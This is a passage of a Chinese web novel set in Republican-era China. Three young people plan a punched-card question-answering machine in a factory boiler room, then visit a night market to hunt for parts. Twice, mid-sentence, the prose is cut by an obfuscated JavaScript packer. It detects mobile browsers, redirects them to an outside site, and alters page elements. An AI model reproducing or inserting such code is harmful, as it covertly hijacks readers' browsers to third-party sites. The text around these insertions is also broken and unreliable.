沈时砚不好意思地笑了笑。陈父又问道:“在西洋都学了些什么?会英文吗?你还是沈家的长子,以后未来还是靠你们这些年轻人的——Uneasyliestheheadthatwearsacrown。”他语气并不那么轻松,不像是在鼓励,倒是像是在下战书。 “Acrownitisthatseldomkingsenjoy.”沈时砚低下头,声音里浮起淡淡地悲伤,还有一点解脱的自由,“父亲早就放弃我了,他们准备把我弟弟送到上海去读书。” “噢?”陈父眼神一变,“上海?” “上海。”沈时砚重复了一遍,“时慧姐——啊就是我大姐,嫁到了上海的陆家,去那里有照应。父亲说南京这条路子最近难走,得换条路。” “不留洋了?”陈父哈哈笑着,“想当年我还去学戏剧,莎士比亚、易卜生、王尔德什么的。可惜被家里人拉回来管家了。” “不了。”沈时砚笑了笑,有些苦涩,“他们说我脑子都学坏了,成天就是电子、机器、算术什么的。” 陈父拍了拍他的肩膀:“也罢,像我这样多好。每天就是夫人管家,我现在连家里账目都 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“怎么会。”沈时砚起身,点头欠身,“夫人客气了。只是今日我大姐从上海回来,我还得回家与家人一聚。” 他顿了顿,似是想起什么,从怀中掏出一封信,封皮整齐,字迹秀整。 “这是……给陈小姐的。”他说得郑重,语气却很平稳,“小事一桩,回去才写好,便顺道带来。” 蔚青一怔,脸唰地红了。 梁悯初挑眉,笑意微微浮在唇角,似是有点意外,也有点意味不明。母亲眼中露出了一丝藏不住的满意:“哎呀,沈家的公子倒是细致。”。父亲咳了一声,像是刚刚咽茶呛着,咳完后只笑笑:“我们这孩子……也没什么别的好处,就是安静些。” “陈小姐见笑。”沈时砚没解释,只把信递过去,又补了一句,“若有空,不妨一读。” 她手指刚触到那封信,像被烫了一下,脸更红了,连“谢谢”都说得含糊不清。 “投我以木桃,报之以琼瑶。”梁悯初忽然轻声念道,语调悠然,“看来这封信,可不能随便丢。” 蔚青猛地抬头,看了他一眼,急得几乎要说话,却又不知该从何说起。 “梁老师——”她声音拔高了些,却又硬生生压下来,“你不要胡说。” 她意识到自己声音太快太响,像是把什么也一并戳破了,连忙低下头,把那封信揣进袖中。 众人讪讪笑了两声,气氛被这小小的插曲点得微妙起来。 沈时砚借势告辞:“那我便先行一步,不叨扰晚饭了。” 他礼数周到地与众人告别,走出正厅时,还回头朝蔚青略一点头。 这天夜里,蔚青坐在书桌边,点着一盏小小的台灯,将那封信从袖中取出来,放在掌心,廊下灯影斜斜地落在窗前。 她盯着封口上的“陈”字看了半晌,才缓缓拆开。 信纸不长,工整而克制: 陈小姐: 若您对我那日在女中所说之事仍有兴趣,我近日在南州永丰纱厂那边托了朋友借了点地方,打算做些实验。 若遇守门工人,可报“沈字仓”,即会放行。 若您愿来,后日午后三点,不见不散。 沈时砚敬启 她盯着这几行字,先是呆住,随后整个人往椅背上一靠,脑中空了一拍。 怎么有点像公文? 她忽地冒起一丝怒意——这算什么?让她被老师调笑,差点就没对她说“窈窕淑女君子好逑”了,然后只为告诉她一个“见面地点”? 她咬牙看了一眼信纸,又忍不住低头重新看了一遍。 三遍之后,她的怒意却不知为何,缓缓转成了一种……难以言喻的兴奋? 5. 机器之心 永丰纱厂位于南州城东,远离热闹街市,厂区围墙高高竖起,一道铁轨贴着外墙延伸,偶尔有运煤的车轰隆而过。天刚过午,阳光炙热,石板地面已烫得发烫。 陈蔚青站在永丰纱厂西门前,犹豫了一下,从手提包里掏出那封被她折得整整齐齐的信。她又低头看看自己身上穿的碎花雪纺上衣和半身裙——说是便服,可在这里还是显得太花哨。 守门人是个四五十岁的男人,皮肤黝黑,正在树荫下剥花生。他见她过来,半眯着眼问:“小姐,哪家的?” “我找……沈字仓。”她顿了顿,“沈公子让我来的。” 那人狐疑地看了她一眼,又望向她手中那封信,嘴里嘟囔了一句什么“果然是个大小姐”,这才站起身来,把花生袋往旁边一撂:“跟我来。” 她跟着他沿着侧道拐进厂区,耳边逐渐响起纱机“哐哐”作响的声音,还有女工叫喊的声音,夹着布料拖拽的摩擦,节奏密集得几乎让她喘不过气来。 空气里是浓重的棉屑味与机油味。她用手掩住鼻子,看见一个穿蓝布衣服的女孩从厂房里出来,年纪比她还小,头发贴在额前,背上的汗渍浸湿了一整块。女孩抬头看她时,眼神里没什么惊讶,只有一种淡漠和疲惫。 她忽然觉得有些局促,裙摆太长了,鞋子太新了,阳光太亮了,连自己影子都不属于这里。 绕过主厂房时,守门人指了指角落一座矮旧的小楼:“那边锅炉房,沈字仓就在那,自己进去吧。” “谢谢。”她低声说。 她站在那栋矮楼前,犹豫了一秒才推门进去。 门刚一开,室内扑出一阵闷热的铁锈味和焊锡味,光线比外头暗不少,像走进了一片沉默的水汽。 一个人影正蹲在地上整理什么,背对着她。他听到开门声,没回头,只随口问了一句:“大小姐你找谁?” 蔚青站在门口一时没反应过来。 那人终于回头,一双眼睛直直看着她。那人看上去二十岁出头,眼睛黑黑的,像一个深不见底的洞,眼睛又深深地陷在眼眶里,又给眉眼之间添了一层深邃。阳光透过门缝打在他额角,显出一道浅浅的伤痕。 “你是……”他看清了她的脸,忽然站起来,拍了拍手掌,“你是……陈小姐?” 她点点头,还没开口,就突然意识到自己站在油渍斑斑的地面上,穿着裙子像是误入了什么神秘领域。 “我来找沈时砚。”她尽量用平稳的语气说。 “他一会才来。”那人说,“我是这儿的修理工,罗炽南。” “你好。”她点了点头。 他像是要说点什么,又没说,只是拉了张椅子放在一边:“你先坐吧,这里热,不习惯就站窗边。” 她走进去,轻轻坐下,背挺得笔直,眼睛却扫过室内。 这里和她想象的不一样。没有想象中的书桌、绘图纸和电报机,只有一排旧木箱、一台拆了一半的缝纫机和几块放着铁丝的木板。 “你在这里工作?”她忽然问。 “我十几岁那会在这边厂子里跑腿,有时候也在这块歇脚。”罗炽南说,“这以前是锅炉间,后来废了。” “十几岁那会……”她有些发怔。 “你是哪家小姐?”他忽然问,“这地方不是你们这些人会来的。” “陈……”她突然不知道该怎么回答,从前从来没有人问过她这个问题,就像她母亲常说的——“只要你一站在那,别人就必须知道你是谁”,她思考了一秒,回答道,“家里是洋行的。” 他“哼”了一声:“沈公子就是有办法。” 门外传来一阵脚步声,两人一齐望向门口—— “我来晚了吗?”沈时砚喘着气走进来,脸上挂着汗珠,却还是一派书生模样。 蔚青站起来,冲他点点头,又不动声色地扫了罗炽南一眼。 “你们见过了?”沈时砚放下手里的包,“那太好了。” “是你朋友?”蔚青问。 “也算。”他笑笑,“我一个在南州还能信得过的熟人。” 罗炽南从鼻子里挤出一声冷哼:“所以说沈大少爷,你要做什么?” 沈时砚把包放在桌上,掏出几张图纸和铅笔,简单铺开。 “我说的,是这么一个东西,”他一边说,一边把几张纸摊开,纸上是些歪歪扭扭的框线和箭头,“它不复杂,用的是一套固定的问题结构。只要有问题——它就能输出一个判断。” “判断?”罗炽南挑了挑眉,“那跟厂子里打的考勤钟有啥两样?人来了,钟就响一下,人走了,又响一下。那也算判断?” “不一样。”沈时砚笑了笑,像是在等这个问题。“它不是测你来没来——它是回答:你要不要这样做。” 他顿了顿,看向蔚青:“我们可以设置一个问题系统,比如十道题。每道题只有两个选项——是或否。但真正有意思的是——这些选择会产生组合,组合会影响结果。” “没懂。”罗炽南说。 “比如说,”沈时砚忍着笑意,捡起一块木板在灰地上画了个简图,假如我是那台机器,有人来问我,‘你觉得这件事我该不该去做呢?’,于是我反问他:“第一个问题是:‘你有把握完成吗?’、第二个问题是:‘你会选择独自完成任务吗?’,他回答了以后,根据他的回答,我再给出‘我觉得你应该去做’或者‘我觉得你不应该去做’的结论。当然,答案和结果都是我们已经写好的,机器只是负责吐出来而已。” 陈蔚青眨了眨眼,若有所思:“你是说……这个机器是在模拟一个人的回答?” “没错。”沈时砚点头,“但这样说,还是太抬举它了。” “这台机器不是什么聪明的玩意儿。”沈时砚说着,掏出几张打着小孔的卡纸放在桌上,“它其实不会思考,也不会判断对错,它只会根据我们提前写死的规则,吐出一个固定的答案。” “比如我问它十个问题,每个问题只有‘是’或‘不是’两个答案。只要你选了‘是,是,不是,是……’这个顺序,它就会吐出一张纸条说——‘你可以去做’。” “为什么它这么说?不是它觉得你行,而是我们早就规定了:只要你这样选,它就说这句话。它根本不懂你是谁,也不管你要做什么。” “它像一只应声的鹦鹉,你提前告诉它‘如果有人说了甲和乙,那你就回答丙’,它以后只会照着说。它不会真的去思考,只会按照顺序走。” 他顿了顿,看着陈蔚青:“但你要是按照某个人的逻辑设计这一整套问题和答案,那它以后说出的每句话,就像——这个人还在跟你说话一样。” “这台机器的全部意义就在这。只是像个思维的照相机,虽然复制下来只是那个人静止不动的样子,但至少,人还有影像去怀念。” 屋内一时安静了几秒。 “说得好听。”罗炽南忽然开口,“可你做这个,到底是为了什么?” 沈时砚愣了一下,但语气还平稳:“我想在大学里谋个位置,那些理论没人听我讲,我需要有一个成品,能展示我这几年学的东西……这是最实际的。” “所以你做这个,是为了脱身?”罗炽南笑了,“沈家不想要你,你就想靠一台破机器挤出去?” 沈时砚张了张嘴,没说话。“你能讲讲原理吗?”陈蔚青被吸引住了,把话题扭回正轨,“这个机器要怎么问问题,怎么回答问题呢?” 沈时砚沉了口气,似是被罗炽南那句“破机器”带来的微妙锋芒刺到。他低下头,在地上上简略地划了几个方框,又画出线条连接其中。 “我们先设计一个问题结构。”他说,“十道问题,或者更多,你们来定,每道只能回答‘是’或‘否’。这些答案打在卡片上——比如打孔,或者按键,把它们转成电流信号,最后机器给出的结果会像电报机一样,写在它吐出来的纸带上。” “打孔?”罗炽南皱眉。 “对,原理其实很老了,美国人三十年前就在用了。”沈时砚点头,“是简化版的那种老式的人口普查机——他们用打孔卡片,把每个人的资料打在卡上,机器里有根针,去‘碰’那些小孔,只要碰到,就通电,相当于‘读懂了’这个信息。” 他笑了一下,补充道:“我们要做的也是类似的东西。问题、答案都提前打好,机器只是按顺序把你写好的答案‘读’出来,最后吐出一个判断,虽说是机电结合,但原理甚至远不如蒸汽时代纯机械的差分机的原理复杂。” 他顿了顿,语气变得认真:“不是很高深的,不是未来科技——只是一个能根据设定规则说‘是’或‘不是’的盒子。” “你们别误会,也别被吓着,我没打算造什么很厉害的东西。”他笑了笑,“但就算是这个……三个人做起来,也够我们忙一阵的。” 他停顿了一下,又补了一句:“我看过图纸,其实不难改造。” 蔚青缓缓开口:“也就是说……机器可以把……我的思想留下来?” 沈时砚点了点头:“是的——当然不是全部,但至少,一部分吧。” 他顿了顿,又低头拨了拨纸上的图线,像是斟酌用词:“不过,我觉得‘思想’这个词,可能还是有点大了。” 他抬起眼看向她,语气温和,却带着一种谨慎:“它更像是……一套判断方式。就像照片留下的是你的样子,一个静止不动的、你的画像,但不是真正的你。这个东西,也只是我们留下的一个逻辑壳子,不会再多了。” “你别太……感动。”他说得很轻,带着点笑意,又略带一丝抱歉,“这不是魔法,也不是奇迹,它只是齿轮、电流和纸带,按你写好的步骤,一步步重复。” 陈蔚青突然想到他在女中的教室里,快门按下那一刻,他问她:“你希望它留下你的什么样子?” 她那时没想好,说实话,现在也没有。 但是,无论如何——她低头看着那些图纸,手指轻轻摩挲着纸角,半晌才开口:“我明白了。我知道这机器不能真的回答我……我也知道,设好问题、设好答案,最后的‘判断’其实只是我自己写出来的。” 她抬起眼睛看向沈时砚,眼神异常的坚定,甚至带着几丝兴奋,“可问题是我定的,答案是我选的,这才是意义所在。哪怕结果早就写好了——那也是我写的。我想学着自己提问题,也想学着自己回答,自己做选择。” 她轻轻笑了一下,像在自嘲,又像在对自己打气,语气却格外平静:“我以前……从没觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502439|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得自己做得了什么。别人说我会写文章、会背诗、会钻研些‘女孩家不该学的东西’,可他们从来不觉得这算什么。不是正经事,不是将来能派上用场的东西。” “可我喜欢这些。我想试一次,哪怕只是打下手、干点杂活也好。我想在我喜欢的事情上,真正留下点东西,给他们看。” 她停了停,语气里有一种静静燃烧的任性与坚定:“我不想再当个无足轻重的洋娃娃了。” 锅炉房里一时安静下来。沈时砚望着她,神色一瞬间有些复杂。他没料到她会说出这样一番话——太直接,也太认真了。她的眼睛像一团急着寻找出口的火,带着某种执拗得近乎危险的热情。 他忽然有点预感:她会走得比他们想象中还远。可这一刻,他却什么也说不出来。 “怎么样?”他只好笑着开口,声音里带着一丝掩饰不住的激动,“我会负责主要的逻辑判断系统和结果输出系统的设计和制作——你们谁来设计问题结构和答案?” 他故作轻松地转向她:“欢迎加入。” 罗炽南眯着眼摆了摆手:“我没有想留下的思想。” “我也……”陈蔚青突然想到了什么,吞下她后面的话,改口道,“如果,不是我的,而是别人的,行不行?如果我用这个留下了别人的思想……如果以后,那个人不在我身边的时候,我想知道会怎么想,会怎么说,是不是就可以……知道了?” 沈时砚一愣,随即轻声回答:“行啊。如果你能为那个人设定一整套问题,那机器就能用她的思路来回答问题。” “就像他在场。”他顿了顿,“当然,前提是你真的理解他。” “这才是难的。”她低头笑了笑,像是对自己说的。 “那我来试试。”她缓缓开口,声音带着一丝慎重,“我来试着设计这一组问题吧。” “真的?”沈时砚眼睛一亮。 “嗯。” “那你想以谁为模型?” 她沉默了一下,说:“我母亲。” 一时间屋里安静下来,连窗外纱厂传来的轰鸣都显得遥远。 沈时砚点头,没多问。 罗炽南站起身,手插在口袋里,打破了宁静:“原来你们想的是这些。” “什么?” “你拿它去逃命——你又拿它去找妈妈——那我呢?我干嘛帮你们?”他站起身,走到窗边,一边往外看一边说,像是在看工厂里忙忙碌碌的人,“我呢,沈少爷,我帮你忙,你成了学校里的大师以后,我要你们沈家手下的一个厂——不是说要你们送给我,你们得给我一个工头的位置。” “有点功利了吧?”陈蔚青不满地说,“你就是为了这个?你就算技术很厉害,管理也不是那么容易的事情。怎么能说给就给。“ 气氛有一瞬间凝注。罗炽南没有回头,声音却冷下来:“是啊,我就为了这个。怎么,不高尚,不够理想,不够‘值得留在纸带上’?” “你要的只是位置,还是不合理的位置。”蔚青不甘示弱,“难怪你说你没有想留下的思想,这种东西怎么会有人想留下来,也没人想看。” “可我至少知道它能干嘛。”他转过身,语气里隐隐有火,“这东西最后还不是一堆螺丝钉、一些纸条、还有电。和厂子里打的考勤钟有什么两样,你怎么不去和做考勤钟的人讲你的思想你的大道理!” 沈时砚忍不住插话:“你别这样说。” “我说错了吗?”他盯着蔚青。 蔚青一震,脸色泛白,但没有吭声。 他又看向沈时砚,“我从头到尾都没骗你。我干活,是想拿点东西换点回报。你们沈家有的,我没有。” 屋里一阵沉默。 几秒后,他甩了一句:“我出去抽根烟。” 他转身离开了锅炉房,背影沉沉,像是和工厂那道旧墙影子融在了一块。 沈时砚望着他的背影,叹了口气:“他说得也没错。” 蔚青坐回椅子上,低声问:“你会给吗?” “工头的位置?” “嗯。” “会。”他顿了顿,“如果机器真做出来,我会给他。” “你还真是会做生意。”她轻声说。 沈时砚没反驳,只是向她抱歉地笑了笑,随即追了出去。 陈蔚青独自坐在那个命运的锅炉房里,此刻安静得几乎凝固。那时她还未曾想到,将来这里会响起机器的轰鸣、电流的跳动、三人争执的语调,和一句句彼此鼓励的回音。她只听到窗外的风吹过纱厂铁棚,发出微微的哐当声——像是一架沉睡的机器,在黑暗中缓缓苏醒。 很多年后,有学生问她: “哲学家唐纳德·戴维森提出这样一个问题:一个人穿越沼泽时被闪电击中,死去;而同时,另一道闪电击中附近沼泽,碰巧以完全相同的分子结构,重组出一个和他一模一样的复制人。 这个复制人拥有相同的记忆、语言、情感,甚至继续去找他的朋友,没有人发现他‘不是真正的他’。那么——那个人还是原来那个人吗?” 她沉默片刻,没有给出答案——她也不觉得自己真的能给出一个答案。她只是想起了那个下午,那个她决定要复制、保存母亲思想的下午。 6. 飞翔 锅炉房的铁皮墙在午后余光里泛着暗红的光,蒸汽沿着顶上的管道喘息地冒着气,像是个老掉牙却不肯罢工的巨兽。 三人各自坐在一堆拆散的零件堆里,屋里弥漫着锈蚀和焊锡味。沈时砚拿着一张粗草图,盯着中央的线路图发呆,最终放下纸张,低声说道:“我需要一台打字机——最好还有电报机的零件,老式的那种。” “打字机?”陈蔚青皱眉,侧头看他,“你要干嘛,用那个输出?” “嗯。”沈时砚点点头,“我试过用线圈驱动击打结构,可普通打字机太钝了。我想找一台老式的西门子或者……或者电报局淘汰的电报纸带机——我们改改线圈,直接接电流触发打印头……搞不好能做出一个‘自动回答’的机器。” “我家有一台。”她抬起头,说得轻描淡写,“以前父亲从香港带回来的,母亲说不许碰,但我想办法偷出来就是。” 话音刚落,罗炽南“哈”地一声笑了出来,手里的烙铁差点掉地上。他把帽子往后推了推,抬起头来看她,笑得一脸坏相:“偷?你也做得出来这种事啊。” 陈蔚青没搭理他,自顾自用布擦掉指尖上的油渍。 “这种东西,哪用得着偷。”罗炽南懒洋洋地把手搭在椅背上,像讲故事似的说,“你要多少,我今晚带你去买。又便宜,又多。” 沈时砚一挑眉:“哪来的?” 罗炽南朝他一笑:“广南路那边有黑市,那帮人从邮政、洋行、海关‘捡’出来的老设备,全扔地上卖——你懂货,能捡着宝;不懂嘛,呵。”他耸耸肩,“只能买回去当烟灰缸咯。” 陈蔚青一时间有些愣住,她从没听说过有这种事情,尽管她在这里生活了足足十八年:“真有?我怎么不知道呢?” “要不要来看看?”他眼睛里带着点儿挑衅,像是在等她反驳,“我晚上在你家楼下等你,大小姐,敢不敢来看看我们的夜生活?” 月光刚刚照进窗台,蔚青坐在床前,手指不自觉地在窗台上敲击着节奏。她心中忽然有些纠结:怎么出去呢?从正面走出去?如果说跟她们说婉芝生病了我得去看看她们会不会放我出去?还是…… 她正犹豫着,不知是否真要赴这场夜的邀约,忽然听到窗外一阵细细簌簌的声音,像是什么在轻蹭着窗框。她皱眉凑近,下一秒,“咚、咚”两声——竟是有人在敲窗。她赶忙拉开窗帘,引入眼帘的是一个浅褐色头发的年轻女孩,她心跳顿时漏了一拍。窗外月色浅淡,夜风拂着枝叶轻响。 窗外月色浅淡,夜风拂着枝叶轻响,那是一个十七八岁的女孩,长得有点像洋人,她看起来像被阳光晒褪色的头发蓬松地披散着,额前一缕被汗水黏住,贴在太阳穴上。她的五官有种模糊不清的大而明亮的感觉,藏着点不属于这片土地的随性与漫不经心。 她穿一件洗得发白的短外套,搭在一条旧布裙外,脚下是磨得泛白的布鞋,一只手挂在窗框上。她的眼神带着点挑衅式的调笑,一双灰褐色的眼珠在月光下微微发亮。 陈蔚青正想着是用英文开口还是中文开口,那人就先她一步说话了:“大小姐,你下不下来,我可就要爬进去了哦。”她压低声音,笑容里全是混不吝的爽朗。 蔚青惊得退了一步:“你……你是谁?” “罗简,罗炽南的妹妹啦~”她指了指楼下,“你看,我哥哥在下面呢。” 陈蔚青贴近窗台,顺着她的手指往下看,果然在陈宅后墙外的小巷里,看到那个熟悉的身影站在月色中。罗炽南也只穿了一件白色单衣,袖口挽起,整个人靠在墙边,一条腿随意地踩在墙根的石块上。他没有仰头看,似乎只是静静等着,但月光打在他肩头与臂膀上,勾勒出他因常年劳作而练出的清晰肌肉线条。他就那样站在夜色中,像一把被风吹响的弓。 “你疯了,这太危险了,你先下去。”陈蔚青低声说,眼神里是控制不住的慌张。 那女孩却咧嘴笑了,朝她做了个鬼脸,一只手撑着窗沿,一只手比了个“嘘”的手势,说:“这才二楼哇。” 然后,她灵活地翻身滑下,脚步在墙面一蹬,落在墙外那块石砖上,稳稳站住。她张开双臂仰头看着,像迎接月光,又像迎接一场秘密的飞跃。 “来吧,大小姐!”她压低声音喊了一句,嘴角扬起一个带着恶作剧又温柔的笑,“你不是说你敢的吗?” 蔚青站在窗边,裙摆被夜风吹得轻轻飘起。她回头看了一眼屋内,那盏昏黄的灯还亮着,像一只目光低垂的老猫。她知道,母亲就在楼下的起居室,或者更远一点的茶房里。而她,正站在那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502440|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小到大被命运安排好的生活与未知之间的缝隙里。 她知道自己不是木偶——她的脑海里有齿轮在转动,有电流在跳跃,有问题在一遍遍追问,“你敢吗?” 她忽然想起那个餐厅,那张纸条,那句话,那个厕所的窗台。 “快跑,陈蔚青。“ 她没有再犹豫。裙角一翻,她攀上窗台,微微蹲下身,深吸一口气。风扑面而来,裙摆鼓动,像一面突然展开的旗帜。她站稳,抬头,看见月亮挂在对面屋檐上,像一只没入席的眼睛,悄悄望着她。 ——然后,她纵身一跃。 她落下的那一刻,像一张纸从高处飞下来。风托着她,她什么也没听见,像是穿过了一个无声的夜幕。 下一秒,她扑进了那个女孩的怀里。怀抱是温热的,不是软绵绵的那种,而是一种意想不到的——结实、稳当,像夜色里一根藏在地底的铁钉。罗简退了两步才站稳,但她一点也没慌,反倒像早就准备好似的,胳膊一收,把她从半空托进一个轻松得像玩笑一样的拥抱里。 蔚青的下巴撞上她肩头,鼻尖蹭到一缕微湿的头发,有点汗味,又有点柠檬汽水似的清凉香气。 “哎哟。”罗简低声笑了一句,声音从胸腔里震出来,有点痒,“还挺轻。” 蔚青怔了一瞬,然后意识到自己正整个人挂在一个陌生女孩身上,她下意识想挣开,手却还搭在她肩膀上,半天没收回来。 那怀抱有点乱糟糟的,心跳却出奇地稳。蔚青怔住了,几乎笑出来,又几乎要落泪。她突然觉得,今晚真的做了一件从前绝不可能做的事。 就在蔚青还没完全从震惊中回过神的时候,罗炽南已经走了过来。 他什么也没说,只是伸手很自然地把罗简的衣服整理了一下,顺手把她额前的一缕头发往耳后抹了抹,又轻轻拍了拍她肩上的灰尘——动作快极了,却带着一种熟练的亲昵,像是在给一只随时要飞走的小兽理毛。 “走吧。”他说,声音低低的,带着点夜风的清凉,又像是在压着什么东西不让它透出来,“我们该去找你要的东西了。” 罗简朝他吐了吐舌头,又回头冲蔚青挑了挑眉:“你还会飞吗?要不要再来一次?” 蔚青没说话,只是低头笑了一下。 7. 糖水铺 三人沉默地走在夜色中,脚步落在石板路上,像敲着节奏一样。 走了好一会儿,陈蔚青终于忍不住开口,语气带着一点迟疑:“你们是……亲兄妹?” “唔?”罗简抬起头,有点不服气地鼓了鼓腮帮子,“不像吗!” “别乱说。”罗炽南笑着伸手揉了揉她的头发,“我们只是一起在码头长大。” “码头?”蔚青一怔,听得有点发懵,“什么意思?” 前头街角的灯晃了晃,罗炽南停下来,手插在口袋里,轻轻地叹了一口气:“我们……从小就在南码头那片棚户区混大的。那时候街口有一间茶水铺,老板娘好心,每天收几个没人要的小孩去干活、给口饭吃。” “那天是下雨。”罗简插嘴,“我记得,老板娘穿着只到膝盖的裤子,手上拿着水瓢把我们轰进屋子里。” “我第一次见到她的时候——可能老板娘刚刚把她捡回来,她浑身是泥,脸上还有一道被猫抓的血痕。”罗炽南笑了笑,看了看妹妹,“可她当时给了我一块发霉的馒头。” “什么叫我给你的!那是你抢我的!”罗简一把推了他一把,“你还我!” 他们两个在巷子口闹了一下,像是互相踢打的小猫,但没一会又肩靠肩地并排走着。那种说不清的默契从灵魂深处渗出来。 “所以你们都不知道自己是谁的孩子?”蔚青低声问。 “我大概知道。”罗炽南语气平静,却像石子砸进水里,“我妈是个女工,不知道我爹是谁,她死的时候,我还不到五岁。” “我就不清楚了。”罗简转过头看着陈蔚青,“我听说我是小时候是被港口仓库那边的人捡到的。他们说我可能是哪个外国士兵留下的,也可能是个洋行伙计搞出来的麻烦。” “没人知道。”她耸耸肩,一脸云淡风轻,“也没人在乎。” 蔚青张了张口,却不知道该说什么。风从巷口吹过来,她忽然感觉到一种说不出的凉意。 “不过没关系。”罗简笑着说,“有哥哥就够啦。” “啧。”罗炽南故意皱眉,“别这么恶心。” 她一拳打过去,两人又打闹成一团,街角的灯光下,影子重叠交错。 他们打打闹闹走了一段,巷子的尽头亮起了一片光。 那光不是路灯,而是杂乱地从不同方向泼洒出来的——红的、绿的、黄的、甚至还有一盏挂着蓝纸灯罩的油灯,在风中轻轻晃动。越往前走,空气就越浑浊,像从河水走进了一锅浓汤。 “快到了。”罗炽南收了笑,脚步也不自觉地慢了几分。 陈蔚青望着前面,那是一条横穿几条大街的小巷子,两边搭满了不知哪来的铁皮和木板,像胡乱拼装的骨架,巷子口站着两个人,身上披着破布,像是睡觉没脱下的毯子,嘴里叼着烟卷,一眼就扫了过来。 她下意识想退半步,罗简却反手拉了她一把,低声说:“别怕,那是守门的。” “守门的?”蔚青压低声音。 “嗯,有点像‘收门票’的。就看你是不是熟人。” “我们算熟吗?”她有点怀疑。 “算。”罗简朝那两人挥了挥手,眼神一转,笑得像个没心没肺的小孩,“哥哥的脸啊,这条街都认得。” 守门人果然没拦他们,甚至连正眼都没看她一眼,只往罗炽南的方向点了点头。 他们穿过巷口,映入眼帘的是一片低矮屋顶和被灯光撕开的夜幕。狭窄的巷道被摊位挤得水泄不通,空气中充满了汗味、汽油味、油炸食物的香气,还有一丝说不上来的焦灼。 这不是市场,是一口正在沸腾的黑锅,里面搅动着金属、欲望和秘密。 “欢迎光临。”罗炽南低声说,“这儿什么都能找到——只要你够胆开口。” 陈蔚青站在巷口,有那么一瞬间像是站在了现实世界的背面。她听见吆喝声、打火机的啪嗒声、远处传来的留声机的舞曲和某个摊贩叫嚷着“原厂拆件!原厂拆件啊!” 她从没来过这样热闹的地方。 “走吧。”罗简回头拉她,“你们要的东西,应该就在这儿。” 世界就像被人翻了个面。 摊位一排接一排地挤在一起,油灯挂在摊边,烟雾缭绕,空气里是重重叠叠的味道:汗水、汽油、铁锈、霉味,还有某种潮湿生肉似的生猛。脚底下是湿漉漉的青石地,积水在脚步下闪着微光,像刚刚退去的潮水留下的痕迹。 “别踩那边。”罗简一把拉住蔚青,指了指一处积水深坑,“踩下去,鞋底会烂。” 他们缓缓穿过一条巷子,转角处支着一顶老旧的油布帐篷,边上挂着几块褪色的毯子,帐篷里面坐着一家人,父亲光着膀子蹲在角落抽烟,小孩扒着一碗热粥吃,母亲坐在后面缝补衣服,眼神和灯光一样昏暗。陈蔚青心头一紧,下意识放慢了脚步。她从来没有想过,在距离自己家不过几条街的地方,会有人就这么住在风里。 她正要开口说话,突然被什么吸引住了—— 一个老摊贩正在铺开的破布上摆着几个小物件:金属打火机、开了边的怀表、一只生锈的袖扣,还有一个小小的玻璃球挂坠,里面封着一片白色的羽毛。 她停下脚步,蹲下来,指了指那个吊坠:“这个多少钱?” “两分钱。”摊贩用像破收音机一样的声音回答。 蔚青摸了摸口袋,忽然才想起来——她今天连零钱都没带。她沉默了一下,没再说话,只是站起来,走了两步,又忍不住回头多看了一眼。 “你要是再盯它三秒钟,它会跟你走的。”罗简忽然出现在她身后,调侃似的说了一句。 “我……没带钱。”蔚青低声说。 “没事。”罗简拍了拍她的背,“我们不是来买挂坠的,是来拆机器的!” 说着,她一手搂过蔚青肩膀,把她带离了摊子。 他们又走了一段,穿过一处狭窄的甬道,一股炸油味扑面而来。拐角处,一个小摊支着油锅,锅里是正在冒泡的油炸鬼和圆滚滚的煎堆。 “喂,大小姐。”罗炽南把手一伸,扔了几个铜子过去,“来不来?” “来。”蔚青几乎是抢着答。 三个人蹲在巷子边沿的石台阶上吃,煎堆里裹着芝麻馅,一口咬下去满嘴香甜。罗简嘴上叼着半根油炸鬼,还一边笑着模仿戏文里的唱腔:“贪吃的小娘子——一口一个不皱眉——” 蔚青笑得弯了腰,眼角被夜风吹得微微湿润。她嘴边沾满了砂糖,从来没有吃的那么狼狈过。罗炽南看了眼她,不由自主地笑了出来,笑声和之前的都不一样,没有了一丝罗炽南式的嘲讽和愤世嫉俗。他递给妹妹一个眼神,罗简会意地笑了,抬手帮蔚青擦掉了嘴边的糖。 就在这时,罗炽南站起身,朝一个低调站在暗角的人走去。 那人穿着一身皱巴巴的西装,像是仓库里爬出来的老鼠,正躲在灯影边上,低头点着一根烟。 “老式打字机。”罗炽南开门见山。 那人抬眼看了他一眼:“你可真敢问,这可是稀罕货。” “少废话。”罗炽南嗤笑一声,“有没有。” 那人犹豫了一下,咬着烟蒂点了点头:“有。但不是带出来就能卖的东西。你们先去对面那家糖水铺等着。” 说完,他一摆手,转身没入灯火里。 “走吧。”罗炽南回头,语气淡淡,“去喝碗糖水。” 他们一行人走进对面那家糖水铺,门口挂着个写着“杨枝甘露”的白布招牌,屋里灯光昏黄,一股热腾腾的椰香混着糖气飘了出来。 陈蔚青最后一个走进去,回头看了一眼黑市那片人声鼎沸的灯火,心头微微发烫。 糖水铺的门一推开,屋里是一股蒸汽和甜味交织的暖意。空气像带着糖浆的雾,墙角还贴着去年没撕干净的年画,一个穿白色松松垮垮的背心的老板正往锅里倒椰汁,嘴里哼着旧戏。 “炽南啊。”老板一抬眼看见人,咧嘴一笑,“你又来啦?” “来看看老朋友嘛。”罗炽南笑着拍了拍桌子,“还有两位,一人一碗,没卖完吧?” 